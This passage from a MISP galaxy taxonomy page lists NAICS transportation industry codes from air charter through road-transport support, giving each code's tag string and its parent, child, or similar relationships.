48121 has relationships with:

- child-of: misp-galaxy:naics="4812" with estimative-language:likelihood-probability="likely"

481211

Nonscheduled Chartered Passenger Air Transportation

The tag is: *misp-galaxy:naics="481211"*

View relationships graph

481211 has relationships with:

- child-of: misp-galaxy:naics="4812" with estimative-language:likelihood-probability="likely"

481212

Nonscheduled Chartered Freight Air Transportation

The tag is: *misp-galaxy:naics="481212"*

View relationships graph

481212 has relationships with:

- child-of: misp-galaxy:naics="4812" with estimative-language:likelihood-probability="likely"

481219

Other Nonscheduled Air Transportation

The tag is: *misp-galaxy:naics="481219"*

View relationships graph

481219 has relationships with:

- child-of: misp-galaxy:naics="4812" with estimative-language:likelihood-probability="likely"

482

Rail Transportation

The tag is: *misp-galaxy:naics="482"*

View relationships graph

482 has relationships with:

- parent-of: misp-galaxy:naics="4821" with estimative-language:likelihood-probability="likely"

4821

Rail Transportation

The tag is: *misp-galaxy:naics="4821"*

View relationships graph

4821 has relationships with:

- child-of: misp-galaxy:naics="482" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="482111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="482112" with estimative-language:likelihood-probability="likely"

48211

Rail Transportation

The tag is: *misp-galaxy:naics="48211"*

View relationships graph

48211 has relationships with:

- child-of: misp-galaxy:naics="4821" with estimative-language:likelihood-probability="likely"

482111

Line-Haul Railroads

The tag is: *misp-galaxy:naics="482111"*

View relationships graph

482111 has relationships with:

- child-of: misp-galaxy:naics="4821" with estimative-language:likelihood-probability="likely"

482112

Short Line Railroads

The tag is: *misp-galaxy:naics="482112"*

View relationships graph

482112 has relationships with:

- child-of: misp-galaxy:naics="4821" with estimative-language:likelihood-probability="likely"

483

Water Transportation

The tag is: *misp-galaxy:naics="483"*

View relationships graph

483 has relationships with:

- parent-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

4831

Deep Sea, Coastal, and Great Lakes Water Transportation

The tag is: *misp-galaxy:naics="4831"*

View relationships graph

4831 has relationships with:

- child-of: misp-galaxy:naics="483" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="483111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="483112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="483113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="483114" with estimative-language:likelihood-probability="likely"

48311

Deep Sea, Coastal, and Great Lakes Water Transportation

The tag is: *misp-galaxy:naics="48311"*

View relationships graph

48311 has relationships with:

- child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483111

Deep Sea Freight Transportation

The tag is: *misp-galaxy:naics="483111"*

View relationships graph

483111 has relationships with:

- child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483112

Deep Sea Passenger Transportation

The tag is: *misp-galaxy:naics="483112"*

View relationships graph

483112 has relationships with:

- child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483113

Coastal and Great Lakes Freight Transportation

The tag is: *misp-galaxy:naics="483113"*

View relationships graph

483113 has relationships with:

- child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483114

Coastal and Great Lakes Passenger Transportation

The tag is: *misp-galaxy:naics="483114"*

View relationships graph

483114 has relationships with:

- child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

4832

Inland Water Transportation

The tag is: *misp-galaxy:naics="4832"*

View relationships graph

4832 has relationships with:

- child-of: misp-galaxy:naics="483" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="483211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="483212" with estimative-language:likelihood-probability="likely"

48321

Inland Water Transportation

The tag is: *misp-galaxy:naics="48321"*

View relationships graph

48321 has relationships with:

- child-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

483211

Inland Water Freight Transportation

The tag is: *misp-galaxy:naics="483211"*

View relationships graph

483211 has relationships with:

- child-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

483212

Inland Water Passenger Transportation

The tag is: *misp-galaxy:naics="483212"*

View relationships graph

483212 has relationships with:

- child-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

484

Truck Transportation

The tag is: *misp-galaxy:naics="484"*

View relationships graph

484 has relationships with:

- parent-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"

4841

General Freight Trucking

The tag is: *misp-galaxy:naics="4841"*

View relationships graph

4841 has relationships with:

- child-of: misp-galaxy:naics="484" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484122" with estimative-language:likelihood-probability="likely"

48411

General Freight Trucking, Local

The tag is: *misp-galaxy:naics="48411"*

View relationships graph

48411 has relationships with:

- child-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="484110" with estimative-language:likelihood-probability="likely"

484110

General Freight Trucking, Local

The tag is: *misp-galaxy:naics="484110"*

View relationships graph

484110 has relationships with:

- child-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48411" with estimative-language:likelihood-probability="likely"

48412

General Freight Trucking, Long-Distance

The tag is: *misp-galaxy:naics="48412"*

View relationships graph

48412 has relationships with:

- child-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"

484121

General Freight Trucking, Long-Distance, Truckload

The tag is: *misp-galaxy:naics="484121"*

View relationships graph

484121 has relationships with:

- child-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"

484122

General Freight Trucking, Long-Distance, Less Than Truckload

The tag is: *misp-galaxy:naics="484122"*

View relationships graph

484122 has relationships with:

- child-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"

4842

Specialized Freight Trucking

The tag is: *misp-galaxy:naics="4842"*

View relationships graph

4842 has relationships with:

- child-of: misp-galaxy:naics="484" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484230" with estimative-language:likelihood-probability="likely"

48421

Used Household and Office Goods Moving

The tag is: *misp-galaxy:naics="48421"*

View relationships graph

48421 has relationships with:

- child-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="484210" with estimative-language:likelihood-probability="likely"

484210

Used Household and Office Goods Moving

The tag is: *misp-galaxy:naics="484210"*

View relationships graph

484210 has relationships with:

- child-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48421" with estimative-language:likelihood-probability="likely"

48422

Specialized Freight (except Used Goods) Trucking, Local

The tag is: *misp-galaxy:naics="48422"*

View relationships graph

48422 has relationships with:

- child-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="484220" with estimative-language:likelihood-probability="likely"

484220

Specialized Freight (except Used Goods) Trucking, Local

The tag is: *misp-galaxy:naics="484220"*

View relationships graph

484220 has relationships with:

- child-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48422" with estimative-language:likelihood-probability="likely"

48423

Specialized Freight (except Used Goods) Trucking, Long-Distance

The tag is: *misp-galaxy:naics="48423"*

View relationships graph

48423 has relationships with:

- child-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="484230" with estimative-language:likelihood-probability="likely"

484230

Specialized Freight (except Used Goods) Trucking, Long-Distance

The tag is: *misp-galaxy:naics="484230"*

View relationships graph

484230 has relationships with:

- child-of: misp-galaxy:naics="4842" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48423" with estimative-language:likelihood-probability="likely"

485

Transit and Ground Passenger Transportation

The tag is: *misp-galaxy:naics="485"*

View relationships graph

485 has relationships with:

- parent-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4852" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4853" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4854" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4855" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

4851

Urban Transit Systems

The tag is: *misp-galaxy:naics="4851"*

View relationships graph

4851 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485119" with estimative-language:likelihood-probability="likely"

48511

Urban Transit Systems

The tag is: *misp-galaxy:naics="48511"*

View relationships graph

48511 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485111

Mixed Mode Transit Systems

The tag is: *misp-galaxy:naics="485111"*

View relationships graph

485111 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485112

Commuter Rail Systems

The tag is: *misp-galaxy:naics="485112"*

View relationships graph

485112 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485113

Bus and Other Motor Vehicle Transit Systems

The tag is: *misp-galaxy:naics="485113"*

View relationships graph

485113 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485119

Other Urban Transit Systems

The tag is: *misp-galaxy:naics="485119"*

View relationships graph

485119 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

4852

Interurban and Rural Bus Transportation

The tag is: *misp-galaxy:naics="4852"*

View relationships graph

4852 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485210" with estimative-language:likelihood-probability="likely"

48521

Interurban and Rural Bus Transportation

The tag is: *misp-galaxy:naics="48521"*

View relationships graph

48521 has relationships with:

- child-of: misp-galaxy:naics="4852" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="485210" with estimative-language:likelihood-probability="likely"

485210

Interurban and Rural Bus Transportation

The tag is: *misp-galaxy:naics="485210"*

View relationships graph

485210 has relationships with:

- child-of: misp-galaxy:naics="4852" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48521" with estimative-language:likelihood-probability="likely"

4853

Taxi and Limousine Service

The tag is: *misp-galaxy:naics="4853"*

View relationships graph

4853 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485320" with estimative-language:likelihood-probability="likely"

48531

Taxi and Ridesharing Services

The tag is: *misp-galaxy:naics="48531"*

View relationships graph

48531 has relationships with:

- child-of: misp-galaxy:naics="4853" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="485310" with estimative-language:likelihood-probability="likely"

485310

Taxi and Ridesharing Services

The tag is: *misp-galaxy:naics="485310"*

View relationships graph

485310 has relationships with:

- child-of: misp-galaxy:naics="4853" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48531" with estimative-language:likelihood-probability="likely"

48532

Limousine Service

The tag is: *misp-galaxy:naics="48532"*

View relationships graph

48532 has relationships with:

- child-of: misp-galaxy:naics="4853" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="485320" with estimative-language:likelihood-probability="likely"

485320

Limousine Service

The tag is: *misp-galaxy:naics="485320"*

View relationships graph

485320 has relationships with:

- child-of: misp-galaxy:naics="4853" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48532" with estimative-language:likelihood-probability="likely"

4854

School and Employee Bus Transportation

The tag is: *misp-galaxy:naics="4854"*

View relationships graph

4854 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485410" with estimative-language:likelihood-probability="likely"

48541

School and Employee Bus Transportation

The tag is: *misp-galaxy:naics="48541"*

View relationships graph

48541 has relationships with:

- child-of: misp-galaxy:naics="4854" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="485410" with estimative-language:likelihood-probability="likely"

485410

School and Employee Bus Transportation

The tag is: *misp-galaxy:naics="485410"*

View relationships graph

485410 has relationships with:

- child-of: misp-galaxy:naics="4854" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48541" with estimative-language:likelihood-probability="likely"

4855

Charter Bus Industry

The tag is: *misp-galaxy:naics="4855"*

View relationships graph

4855 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485510" with estimative-language:likelihood-probability="likely"

48551

Charter Bus Industry

The tag is: *misp-galaxy:naics="48551"*

View relationships graph

48551 has relationships with:

- child-of: misp-galaxy:naics="4855" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="485510" with estimative-language:likelihood-probability="likely"

485510

Charter Bus Industry

The tag is: *misp-galaxy:naics="485510"*

View relationships graph

485510 has relationships with:

- child-of: misp-galaxy:naics="4855" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48551" with estimative-language:likelihood-probability="likely"

4859

Other Transit and Ground Passenger Transportation

The tag is: *misp-galaxy:naics="4859"*

View relationships graph

4859 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485999" with estimative-language:likelihood-probability="likely"

48599

Other Transit and Ground Passenger Transportation

The tag is: *misp-galaxy:naics="48599"*

View relationships graph

48599 has relationships with:

- child-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

485991

Special Needs Transportation

The tag is: *misp-galaxy:naics="485991"*

View relationships graph

485991 has relationships with:

- child-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

485999

All Other Transit and Ground Passenger Transportation

The tag is: *misp-galaxy:naics="485999"*

View relationships graph

485999 has relationships with:

- child-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

486

Pipeline Transportation

The tag is: *misp-galaxy:naics="486"*

View relationships graph

486 has relationships with:

- parent-of: misp-galaxy:naics="4861" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4862" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4869" with estimative-language:likelihood-probability="likely"

4861

Pipeline Transportation of Crude Oil

The tag is: *misp-galaxy:naics="4861"*

View relationships graph

4861 has relationships with:

- child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="486110" with estimative-language:likelihood-probability="likely"

48611

Pipeline Transportation of Crude Oil

The tag is: *misp-galaxy:naics="48611"*

View relationships graph

48611 has relationships with:

- child-of: misp-galaxy:naics="4861" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="486110" with estimative-language:likelihood-probability="likely"

486110

Pipeline Transportation of Crude Oil

The tag is: *misp-galaxy:naics="486110"*

View relationships graph

486110 has relationships with:

- child-of: misp-galaxy:naics="4861" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48611" with estimative-language:likelihood-probability="likely"

4862

Pipeline Transportation of Natural Gas

The tag is: *misp-galaxy:naics="4862"*

View relationships graph

4862 has relationships with:

- child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="486210" with estimative-language:likelihood-probability="likely"

48621

Pipeline Transportation of Natural Gas

The tag is: *misp-galaxy:naics="48621"*

View relationships graph

48621 has relationships with:

- child-of: misp-galaxy:naics="4862" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="486210" with estimative-language:likelihood-probability="likely"

486210

Pipeline Transportation of Natural Gas

The tag is: *misp-galaxy:naics="486210"*

View relationships graph

486210 has relationships with:

- child-of: misp-galaxy:naics="4862" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48621" with estimative-language:likelihood-probability="likely"

4869

Other Pipeline Transportation

The tag is: *misp-galaxy:naics="4869"*

View relationships graph

4869 has relationships with:

- child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48691" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="486910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48699" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="486990" with estimative-language:likelihood-probability="likely"

48691

Pipeline Transportation of Refined Petroleum Products

The tag is: *misp-galaxy:naics="48691"*

View relationships graph

48691 has relationships with:

- child-of: misp-galaxy:naics="4869" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="486910" with estimative-language:likelihood-probability="likely"

486910

Pipeline Transportation of Refined Petroleum Products

The tag is: *misp-galaxy:naics="486910"*

View relationships graph

486910 has relationships with:

- child-of: misp-galaxy:naics="4869" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48691" with estimative-language:likelihood-probability="likely"

48699

All Other Pipeline Transportation

The tag is: *misp-galaxy:naics="48699"*

View relationships graph

48699 has relationships with:

- child-of: misp-galaxy:naics="4869" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="486990" with estimative-language:likelihood-probability="likely"

486990

All Other Pipeline Transportation

The tag is: *misp-galaxy:naics="486990"*

View relationships graph

486990 has relationships with:

- child-of: misp-galaxy:naics="4869" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48699" with estimative-language:likelihood-probability="likely"

487

Scenic and Sightseeing Transportation

The tag is: *misp-galaxy:naics="487"*

View relationships graph

487 has relationships with:

- parent-of: misp-galaxy:naics="4871" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4872" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4879" with estimative-language:likelihood-probability="likely"

4871

Scenic and Sightseeing Transportation, Land

The tag is: *misp-galaxy:naics="4871"*

View relationships graph

4871 has relationships with:

- child-of: misp-galaxy:naics="487" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="487110" with estimative-language:likelihood-probability="likely"

48711

Scenic and Sightseeing Transportation, Land

The tag is: *misp-galaxy:naics="48711"*

View relationships graph

48711 has relationships with:

- child-of: misp-galaxy:naics="4871" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="487110" with estimative-language:likelihood-probability="likely"

487110

Scenic and Sightseeing Transportation, Land

The tag is: *misp-galaxy:naics="487110"*

View relationships graph

487110 has relationships with:

- child-of: misp-galaxy:naics="4871" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48711" with estimative-language:likelihood-probability="likely"

4872

Scenic and Sightseeing Transportation, Water

The tag is: *misp-galaxy:naics="4872"*

View relationships graph

4872 has relationships with:

- child-of: misp-galaxy:naics="487" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="487210" with estimative-language:likelihood-probability="likely"

48721

Scenic and Sightseeing Transportation, Water

The tag is: *misp-galaxy:naics="48721"*

View relationships graph

48721 has relationships with:

- child-of: misp-galaxy:naics="4872" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="487210" with estimative-language:likelihood-probability="likely"

487210

Scenic and Sightseeing Transportation, Water

The tag is: *misp-galaxy:naics="487210"*

View relationships graph

487210 has relationships with:

- child-of: misp-galaxy:naics="4872" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48721" with estimative-language:likelihood-probability="likely"

4879

Scenic and Sightseeing Transportation, Other

The tag is: *misp-galaxy:naics="4879"*

View relationships graph

4879 has relationships with:

- child-of: misp-galaxy:naics="487" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48799" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="487990" with estimative-language:likelihood-probability="likely"

48799

Scenic and Sightseeing Transportation, Other

The tag is: *misp-galaxy:naics="48799"*

View relationships graph

48799 has relationships with:

- child-of: misp-galaxy:naics="4879" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="487990" with estimative-language:likelihood-probability="likely"

487990

Scenic and Sightseeing Transportation, Other

The tag is: *misp-galaxy:naics="487990"*

View relationships graph

487990 has relationships with:

- child-of: misp-galaxy:naics="4879" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48799" with estimative-language:likelihood-probability="likely"

488

Support Activities for Transportation

The tag is: *misp-galaxy:naics="488"*

View relationships graph

488 has relationships with:

- parent-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4882" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4884" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4885" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

4881

Support Activities for Air Transportation

The tag is: *misp-galaxy:naics="4881"*

View relationships graph

4881 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48819" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="488190" with estimative-language:likelihood-probability="likely"

48811

Airport Operations

The tag is: *misp-galaxy:naics="48811"*

View relationships graph

48811 has relationships with:

- child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"

488111

Air Traffic Control

The tag is: *misp-galaxy:naics="488111"*

View relationships graph

488111 has relationships with:

- child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"

488119

Other Airport Operations

The tag is: *misp-galaxy:naics="488119"*

View relationships graph

488119 has relationships with:

- child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"

48819

Other Support Activities for Air Transportation

The tag is: *misp-galaxy:naics="48819"*

View relationships graph

48819 has relationships with:

- child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488190" with estimative-language:likelihood-probability="likely"

488190

Other Support Activities for Air Transportation

The tag is: *misp-galaxy:naics="488190"*

View relationships graph

488190 has relationships with:

- child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48819" with estimative-language:likelihood-probability="likely"

4882

Support Activities for Rail Transportation

The tag is: *misp-galaxy:naics="4882"*

View relationships graph

4882 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488210" with estimative-language:likelihood-probability="likely"

48821

Support Activities for Rail Transportation

The tag is: *misp-galaxy:naics="48821"*

View relationships graph

48821 has relationships with:

- child-of: misp-galaxy:naics="4882" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488210" with estimative-language:likelihood-probability="likely"

488210

Support Activities for Rail Transportation

The tag is: *misp-galaxy:naics="488210"*

View relationships graph

488210 has relationships with:

- child-of: misp-galaxy:naics="4882" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48821" with estimative-language:likelihood-probability="likely"

4883

Support Activities for Water Transportation

The tag is: *misp-galaxy:naics="4883"*

View relationships graph

4883 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48832" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48833" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48839" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488390" with estimative-language:likelihood-probability="likely"

48831

Port and Harbor Operations

The tag is: *misp-galaxy:naics="48831"*

View relationships graph

48831 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488310" with estimative-language:likelihood-probability="likely"

488310

Port and Harbor Operations

The tag is: *misp-galaxy:naics="488310"*

View relationships graph

488310 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48831" with estimative-language:likelihood-probability="likely"

48832

Marine Cargo Handling

The tag is: *misp-galaxy:naics="48832"*

View relationships graph

48832 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488320" with estimative-language:likelihood-probability="likely"

488320

Marine Cargo Handling

The tag is: *misp-galaxy:naics="488320"*

View relationships graph

488320 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48832" with estimative-language:likelihood-probability="likely"

48833

Navigational Services to Shipping

The tag is: *misp-galaxy:naics="48833"*

View relationships graph

48833 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488330" with estimative-language:likelihood-probability="likely"

488330

Navigational Services to Shipping

The tag is: *misp-galaxy:naics="488330"*

View relationships graph

488330 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48833" with estimative-language:likelihood-probability="likely"

48839

Other Support Activities for Water Transportation

The tag is: *misp-galaxy:naics="48839"*

View relationships graph

48839 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488390" with estimative-language:likelihood-probability="likely"

488390

Other Support Activities for Water Transportation

The tag is: *misp-galaxy:naics="488390"*

View relationships graph

488390 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48839" with estimative-language:likelihood-probability="likely"

4884

Support Activities for Road Transportation

The tag is: *misp-galaxy:naics="4884"*

View relationships graph

4884 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48841" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488410" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="48849" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488490" with estimative-language:likelihood-probability="likely"

48841

Motor Vehicle Towing

The tag is: *misp-galaxy:naics="48841"*

View relationships graph

48841 has relationships with:

- child-of: misp-galaxy:naics="4884" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488410" with estimative-language:likelihood-probability="likely"

488410

Motor Vehicle Towing

The tag is: *misp-galaxy:naics="488410"*

View relationships graph

488410 has relationships with:

- child-of: misp-galaxy:naics="4884" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48841" with estimative-language:likelihood-probability="likely"

48849

Other Support Activities for Road Transportation

The tag is: *misp-galaxy:naics="48849"*

View relationships graph

48849 has relationships with:

- child-of: misp-galaxy:naics="4884" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488490" with estimative-language:likelihood-probability="likely"

488490

Other Support Activities for Road Transportation

